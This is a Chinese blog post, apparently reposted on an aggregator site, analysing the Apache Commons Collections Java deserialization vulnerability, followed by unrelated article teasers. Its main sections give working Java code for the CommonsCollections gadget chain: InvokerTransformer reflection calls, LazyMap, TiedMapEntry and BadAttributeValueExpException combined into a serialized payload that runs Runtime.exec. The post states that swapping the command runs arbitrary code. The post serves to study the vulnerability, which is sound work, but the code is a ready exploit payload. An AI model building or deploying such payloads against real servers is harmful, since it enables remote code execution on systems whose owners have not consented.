JAVA 反序列化之 Apache Commons Collections 反序列化漏洞分析

news2024/11/13 15:27:49

Apache Commons Collections 反序列化漏洞是 2015 年影响重大的漏洞之一,同时也开启了各类 java 反序列漏洞的大门,这几年大量各类 java 反序列化漏洞不断出现。java 反序列化漏洞基本一出必高危,风险程度极大,最近研究了一些反序列化漏洞,本篇记录 apache commons collections 反序列化漏洞。

一. 序列化与反序列化

    java 程序在运行时,会产生大量的数据。有些时候,我们需要将内存中的对象信息存储到磁盘或者通过网络发送给第三者,此时,就需要对对象进行序列化操作。当我们需要从磁盘或网络读取存储的信息时,即为反序列化。简单理解,序列化即将内存中的对象信息转换为字节流并存储在磁盘或通过网络发送。反序列化,即从磁盘或网络读取信息,直接转换为内存对象。

    如果一个对象需要进行序列化,需要注意一下两点:

        1. 必须实现 Serializable 接口

        2. 序列化的是实例对象,故 static 修饰的属性不会序列化。transient 修饰的属性也不会被序列化

    举例说明,新建一个 Person 对象,并对 Person 对象进行序列化和反序列化操作   


public class Person implements Serializable {
    
    private static final long serialVersionUID = 2484848939485859L;
    private String name;
    private String sex;
    private Integer age;
    
    public String getName() {
        return name;
    }
    
    public void setName(String name) {
        this.name = name;
    }
    
    public String getSex() {
        return sex;
    }
    
    public void setSex(String sex) {
        this.sex = sex;
    }
    
    public Integer getAge() {
        return age;
    }
    
    public void setAge(Integer age) {
        this.age = age;
    }
    
    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", sex='" + sex + '\'' +
                ", age=" + age +
                '}';
    }

}
    /*
    将对象序列化到磁盘中
    */
    @Test
    public void SerializePerson() throws IOException {
        Person person = new Person();
        person.setName("abc");
        person.setAge(12);
        person.setSex("男");
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("D:/tmp/serialize/123.txt")));
        oo.writeObject(person);
        System.out.println("Person对象序列化成功");
        oo.close();
    }
    /*
    从磁盘中直接反序列化对象
    */
    @Test
    public void DeserializePerson() throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("D:/tmp/serialize/123.txt")));
        Person person = (Person) ois.readObject();
        System.out.println("Person对象反序列化成功");
        System.out.println(person.toString());
        ois.close();
    }

    可以看到序列化,即是将对象通过 ObejctOutPutStream 类的 writeObject () 方法写入文件即可。写入完成的文件,打开如下,二进制格式的文件

    反序列化即通过 ObjectInputStream 类中的 readObject () 方法读取文件流,即可直接在内存中还原序列化的对象,包括其中的属性值

二. readObject 方法

    反序列化过程中关键的就是 readObject 方法,通过 readObject 将文件流转换为内存对象。因此,反序列化漏洞的关键就是在 readObject () 方法。在序列化后的文件中,可以看到是哪个对象被序列化到文件中的。在反序列化过程中如果该对象的类中重写的 readObject () 方法,在反序列化中会调用该类中的 readObject () 方法,有兴趣的可以用 debug 模式跟踪下具体的执行路径。

    反序列化时,会调用反序列化的对象类中的 readObject () 方法,那证明如果一个对象的 readObject () 方法被重写,在反序列化的过程中即可被调用。试验一下,新建 Person2 对象,重写 readObject 方法,添加一行代码 Runtime.getRuntime ().exec ("calc"),如果 readObject 方法被调用,将会弹出计算器。

public class Person2 implements Serializable {
    
    private static final long serialVersionUID = 248484898547362356L;
    private String name;
    private String sex;
    private Integer age;
    
    public String getName() {
        return name;
    }
    
    public void setName(String name) {
        this.name = name;
    }
    
    public String getSex() {
        return sex;
    }
    
    public void setSex(String sex) {
        this.sex = sex;
    }
    
    public Integer getAge() {
        return age;
    }
    
    public void setAge(Integer age) {
        this.age = age;
    }
    
    private void readObject(ObjectInputStream in) throws ClassNotFoundException, IOException{
        Runtime.getRuntime().exec("calc");
    }
    
    @Override
    public String toString() {
        return "Person2{" +
                "name='" + name + '\'' +
                ", sex='" + sex + '\'' +
                ", age=" + age +
                '}';
    }
}

    

public class Person2Test {

    //序列化
    @Before
    public void SerializePerson2() throws IOException {
        Person2 person2 = new Person2();
        person2.setName("abc");
        person2.setAge(12);
        person2.setSex("男");
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("D:/tmp/serialize/2.txt")));
        oo.writeObject(person2);
        System.out.println("Person对象序列化成功");
        oo.close();
    }
    
    //反序列化
    @Test
    public void DeserializePerson2() throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("D:/tmp/serialize/2.txt")));
        Person2 person2 = (Person2) ois.readObject();
        System.out.println("Person对象反序列化成功");
        System.out.println(person2.toString());
        ois.close();
    }
    
}

    进行反序列化后,可以看到会弹窗,但是对象属性值并没有被还原

    网上找了下,重写 readObject () 时,需要调用 ObjectInputStream 的 defaultReadObject 方法,重新操作一遍,结果成功。

public class Person2 implements Serializable {
    
    private static final long serialVersionUID = 248484898547362356L;
    private String name;
    private String sex;
    private Integer age;
    
    public String getName() {
        return name;
    }
    
    public void setName(String name) {
        this.name = name;
    }
    
    public String getSex() {
        return sex;
    }
    
    public void setSex(String sex) {
        this.sex = sex;
    }
    
    public Integer getAge() {
        return age;
    }
    
    public void setAge(Integer age) {
        this.age = age;
    }
    
    private void readObject(ObjectInputStream in) throws ClassNotFoundException, IOException{
        in.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }
    
    @Override
    public String toString() {
        return "Person2{" +
                "name='" + name + '\'' +
                ", sex='" + sex + '\'' +
                ", age=" + age +
                '}';
    }
}

    通过以上分析,如果我们能够控制重写反序列化类的 readObject 方法,就可以制造反序列化漏洞,从而达到攻击效果。然而,我们自己写个类,随后进行序列化,再发送给远程服务器,服务器反序列化的时候也是不成功的,因为服务器端根本没有我们自己写的类。只能考虑,如果服务器已经存在的某个库中的某个类,类本身就重写了 readObject 方法,是否能通过构造该类的序列化对象,以达到在反序列化时,触发特定操作,实现攻击。满足重写 readObject 方法的类有非常多,经过大牛们的寻找,AnnotationInvocationHandler、BadAttributeValueExpException 等类均满足条件。

三. 反射链

    我们的目标是通过反序列化运行 Runtime.getRuntime ().exec (new String []{"calc"}),没有任何类可以直接提供运行条件,但机智的大佬们,通过 Transform 构建反射链,即可实现上面的代码。

@Test
public void test4(){
        Transformer[] transformerList = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String[].class},new Object[]{new String[]{"calc.exe"}})
        };
        
        Transformer transformerChain = new ChainedTransformer(transformerList);
        transformerChain.transform(Runtime.class);
    }

    具体可阅读源代码,此处简单分析下,当执行 ChainedTransformer 的 transform () 方法时,通过循环,以此调用 ChainedTransformer 数组中每个 Transformer 的 transform () 方法。

    ChainedTransformer 是由一个 ConstantTransformer 和三个 InvokerTransformer 组成的数组,ConstantTransformer 和 InvokerTransformer 都继承于 Transformer 类,当调用 InvokerTransformer 的 transformer 方法时,可通过反射去执行相应的方法,不了解反射机制的可以先去搜一下。

    为便于理解,上面反射链执行的代码近似于如下代码(PS:不包括捕获异常):

    @Test
    public void test5(){
        try {
            Class class1 = Runtime.class.getClass();
            Method method1 = class1.getMethod("getMethod",new Class[]{String.class,Class[].class});
            Method method2 = (Method) method1.invoke(Runtime.class,new Object[]{"getRuntime",null});
            
            Class class2 = method2.getClass();
            Method method3 = class2.getMethod("invoke",new Class[]{Object.class,Object[].class});
            Runtime runtime = (Runtime)method3.invoke(method2,new Object[]{null,null});
            
            Class class3 = runtime.getClass();
            Method method4 = class3.getMethod("exec",new Class[]{String[].class});
            method4.invoke(runtime,new Object[]{new String[]{"calc.exe"}});
            
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    

    现在我们需要思考的是,如何让程序执行执行 ChainedTransformer 的 transform 方法。首先参考上面简单画的图,反序列化时,系统自动调用需要反序列化的对象的 readObject 方法。加上前面介绍反射链,只要能够执行 ChainedTransformer 的 transform 方法,即可执行代码 Runtime.getRuntime ().exec (new String []{"calc"})。现在我们的目标是让某个类的 readObject 方法去调用 ChainedTransformer 的 transform 方法,这样就可以打通图中的第二个环节,使整个执行链路完整。

    直接参照大佬们给出的实例代码,如下。

    @Test
    public void createFile(){
        
        try {
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null,new Object[0]}),
                    new InvokerTransformer("exec", new Class[] {String[].class}, new Object[] {new String[]{"calc"}})
            };
            
            Transformer transformChain = new ChainedTransformer(transformers);
            
            Map mp=new HashMap();
            mp.put("1", "1");
            
            Map lazyMap = LazyMap.decorate(mp, transformChain);
            TiedMapEntry entry = new TiedMapEntry(lazyMap, "6666");
            
            BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
            Field valField = exception.getClass().getDeclaredField("val");
            valField.setAccessible(true);
            valField.set(exception, entry);
            
            File f = new File("D:/tmp/serialize/cc.bin");
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
            out.writeObject(exception);
            out.flush();
            out.close();
            
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    上图简单描述了如何打通第二步,首先创建 HashMap,通过 HashMap 去创建 LazyMap,再通过 LazyMap 创建 TiedMapEntry。随后创建 BadAttributeValueExpException 类,这个类的 readObject 方法是被重写过的,如下。该类中还存在一个类型为 Object 的私有变量 val,随后将上面创建的 TiedMapEntry 赋值给 val 变量。因 val 是私有变量,所以也是通过反射机制去赋值(BadAttributeValueExpException 可以在构造函数中直接给 val 变量赋值,为什么不直接通过构造函数去赋值,反而通过反射的方式去赋值,此处不解释了,可以自己研究实验下)。赋值完成后,将此 BadAttributeValueExpException 对象序列化到文件。正向的去看这些操作,不便于理解,下面我们通过跟踪反序列化的过程,展示如何去执行到 ChainedTransformer。

四.反序列化过程

    当反序列化 BadAttributeValueExpException 时,会调用该对象的 readObject 方法,并且,该对象的 val 变量值为一个 TiedMapEntry。当调用 readObject 方法时,var3 即为序列化时的 TiedMapEntry 对象。var3 即不是 null,也不是 String 类型、Long 类型等,故只会执行最后一个 else,this.val = var3.toString ()

    TiedMapEntry 对象的 toString 方法,会继续执行该对象的 getKey 和 getValue 方法。getValue 方法会调用对象的 map.get 方法

    参考序列化过程 TiedMapEntry 对象,变量 map 为一个 LazyMap 对象,key 为 String 型的字符串 “6666”。刚分析,反序列化调用到 map.get (this.key),相当于调用 LazyMap 对象的 get 方法,传入的参数为 “6666”。

    继续查看 LazyMap 的 get 方法以及序列化过程(参考上图)中,lazyMap 是由包含 HashMap 转换而来,hashMap 包含一个键值对,即{“1”:“1”}。

通过 Map lazyMap = LazyMap.decorate (mp,transformChain)。lazyMap 对象的 map 变量值即为{“1”:“1”}的 hashMap 键值对,factory 即为最开始构造的 Transform 反射链。当反序列化时,调用 lazyMap.get ("6666"),map 中并不包含 key 为 “6666” 的键值对,所以会直接运行到 LazyMap get 方法的 59 行,因 factory 变量在序列化操作时,被复制为 ChainedTransformer 的反射链对象,所以此处相当于调用 ChainedTransformer.transform 方法,目标达成!

    

    至此,我们通过反序列化执行到 Runtime.getRuntime ().exec (new String []{"calc"})。若需要执行其他命令,只需改变反射链即可。所以第二步和整个反序列化流程如下。

    最后看下弹出的计算器。。。。。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1480297.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

找工作的小伙伴有福利了

简历模块 资料说明 ✅内容:300多套简历模块,包含单页简历150套、双页简历15套、三页简历25套、四页简历50套、表格简历15套、自荐信20 套,封面简历、英文简历150 ✅文件格式:word ✅ 文件大小:449MB 资料文件展示 资…

MySQL(基础篇)——多表查询

一.多表关系 一对多(多对一) 多对多一对一 1.一对多(多对一) a.案例:部门与员工的关系 b.关系:一个部门对应多个员工,一个员工对应一个部门 c.实现:在多的一方建立外键,指向一的一方的主键 2.多对多 a.案…

notch 滤波器设计

notch 滤波器是一种用于去除特定频率成分的滤波器,通常用于消除信号中的特定频率的干扰或噪声。也可以与一个系统级联,用于抑制系统谐振峰的影响。 假设 notch 滤波器的下陷频率为 ω c \omega_c ωc​,下陷程度为 d B d o w n dB_{down} …

k8s二进制部署的搭建

1.1 常见k8s安装部署方式 ●Minikube Minikube是一个工具,可以在本地快速运行一个单节点微型K8S,仅用于学习、预览K8S的一些特性使用。 部署地址:Install Tools | Kubernetes ●Kubeadm Kubeadm也是一个工具,提供kubeadm init…

高侧开关芯片四通道 40V 50mΩ车规级带反向电流保护功能负载检测高边开关

概述 PC8845/G是四通道、高侧功率具有集成NMOS功率FET的开关,以及电荷泵。该设备集成了高级 保护功能,例如负载电流限制,通过功率限制进行过载主动管理可配置闩锁关闭的超温停机。全面诊断和高精度电流感应这些功能实现了对负载的智能控制。…

html基础操练和进阶修炼宝典

文章目录 1.超链接标签2.跳锚点3.图片标签4.表格5.表格的方向属性6.子窗口7.音视频标签8.表单9.文件上传10.input属性 html修炼必经之路—各种类型标签详解加展示&#xff0c;关注点赞加收藏&#xff0c;防止迷路哦 1.超链接标签 <!DOCTYPE html> <html lang"en…

「媒体宣传」如何写好新闻稿?

传媒如春雨&#xff0c;润物细无声&#xff0c;大家好&#xff0c;我是51媒体网胡老师。 写好新闻稿是媒体宣传的关键环节之一&#xff0c;下面是一些关于如何写好新闻稿的建议&#xff1a; 明确新闻稿的目的和受众&#xff1a;在写新闻稿之前&#xff0c;首先要明确新闻稿的目…

在 Rust 中实现 TCP : 1. 联通内核与用户空间的桥梁

内核-用户空间鸿沟 构建自己的 TCP栈是一项极具挑战的任务。通常&#xff0c;当用户空间应用程序需要互联网连接时&#xff0c;它们会调用操作系统内核提供的高级 API。这些 API 帮助应用程序 连接网络创建、发送和接收数据&#xff0c;从而消除了直接处理原始数据包的复杂性。…

一念生花,Coze 结合VisActor 文生图实战总结

前言 词云魔方 逢年过节发送祝福语是中国人特有的礼节&#xff0c;然而准备拜年祝福语也是让人伤透脑筋&#xff0c;大多数人都是拷贝网络上流行的“段子”&#xff0c;改一下名字就发出来了。更有甚者连名字都不改&#xff0c;略显尴尬。 但是如果可以让 AI 总结你想对特定…

18个惊艳的可视化大屏(第十辑):物流运输快递方向

可视化大屏在物流运输行业中具有很大的应用价值&#xff0c;可以帮助企业实现实时监控、路线规划、数据分析、风险预警、服务质量监控和决策支持等目标&#xff0c;提高物流运输效率和安全性&#xff0c;降低成本&#xff0c;提升企业竞争力&#xff0c;贝格前端工场带来的和这…

跨国企业如何选择合格的国际数据业务传输方案

在全球化的商业环境中&#xff0c;跨国企业面临着数据跨境传输的挑战。随着业务的扩展&#xff0c;企业需要在不同国家和地区之间高效、安全地传输大量数据。选择合适的国际数据业务传输方案对于保障数据安全、提高业务效率、遵守法律法规至关重要。 为什么跨国企业需要一个合适…

CentOS 定时调度

文章目录 一、场景说明二、脚本职责三、参数说明四、操作示例五、注意事项 一、场景说明 本自动化脚本旨在为提高研发、测试、运维快速部署应用环境而编写。 脚本遵循拿来即用的原则快速完成 CentOS 系统各应用环境部署工作。 统一研发、测试、生产环境的部署模式、部署结构、…

蓝桥杯练习系统(算法训练)ALGO-994 最大分解

资源限制 内存限制&#xff1a;256.0MB C/C时间限制&#xff1a;1.0s Java时间限制&#xff1a;3.0s Python时间限制&#xff1a;5.0s 问题描述 给出一个正整数n&#xff0c;求一个和最大的序列a0&#xff0c;a1&#xff0c;a2&#xff0c;……&#xff0c;ap&#xff…

案例研究|DataEase助力众陶联应对产业链数据可视化挑战

佛山众陶联供应链服务有限公司&#xff08;以下简称为“众陶联”&#xff09;成立于2016年&#xff0c;是由34家陶瓷企业共同创办的建陶行业工业互联网平台&#xff0c;股东产值占整个行业的22.5%。众陶联以数据赋能为核心&#xff0c;积极探索新的交易和服务模式&#xff0c;构…

安达发|APS自动排程软件的三种模式

APS自动排程软件是一种用于生产计划和调度的工具&#xff0c;它可以帮助制造企业实现生产过程的优化和效率提升。根据不同的需求和应用场景&#xff0c;APS自动排程软件通常有三种模式&#xff1a;基于模拟仿真模式、基于TOC的模式和扩展以及基于数学建模。下面我将详细介绍这三…

小程序开发:app.vue检测更新时判断是否是朋友圈进入

因为如果从朋友圈点进小程序来的&#xff0c;有些功能就用不了&#xff0c;所以需要判断下是否从朋友圈点进来的。 检查代码如下&#xff1a; checkScene() { // 判断场景值 如果是从分享到朋友圈再打开 就会有一些功能无法使用 // 详见 https://developers.weixin.qq.com/…

Nodejs 第四十三章(redis)

Redis&#xff08;Remote Dictionary Server&#xff09;是一个开源的内存数据结构存储系统&#xff0c;它提供了一个高效的键值存储解决方案&#xff0c;并支持多种数据结构&#xff0c;如字符串&#xff08;Strings&#xff09;、哈希&#xff08;Hashes&#xff09;、列表&a…

【机器学习实战1】泰坦尼克号:灾难中的机器学习(一)数据预处理

&#x1f338;博主主页&#xff1a;釉色清风&#x1f338;文章专栏&#xff1a;机器学习实战&#x1f338;今日语录&#xff1a;不要一直责怪过去的自己&#xff0c;她曾经站在雾里也很迷茫。 &#x1f33c;实战项目简介 本次项目是kaggle上的一个入门比赛 &#xff1a;Titani…

QML中动态表格修改数据

1.qml文件中的实现代码 import QtQuick 2.15 import QtQuick.Window 2.15import QtQuick.Controls 2.0 import Qt.labs.qmlmodels 1.0 import QtQuick.Layouts 1.15Window {width: 640height: 480visible: truetitle: qsTr("Hello World")TableModel{id:table_model…

Freesia项目目录结构

目录结构 前端目录&#xff1a; &#xff08;目录结构来自layui-vue-admin&#xff09; src文件下 api&#xff08;前端请求后端服务的路由&#xff09;assert&#xff08;一些内置或必要的资源文件&#xff09;layouts&#xff08;全局框架样式组件&#xff09;router&…